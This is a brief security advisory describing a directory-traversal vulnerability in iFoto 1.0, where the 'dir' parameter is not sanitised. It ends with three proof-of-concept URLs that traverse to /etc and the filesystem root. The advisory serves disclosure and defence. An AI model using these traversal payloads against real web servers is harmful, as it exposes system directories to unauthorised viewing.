source: http://www.securityfocus.com/bid/25065/info

iFoto is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

A remote attacker can exploit this issue to view the directory structure of the affected computer within the context of the webserver.

This issue affects iFoto 1.0; other versions may also be affected. 

http://www.example.com/ifoto/?dir=..%2F..%2F..%2F..%2F..%2F..%2Fetc
http://www.example.com/ifoto/?dir=../../../../../../etc
http://www.example.com/ifoto/index.php?dir=../../../../../../ 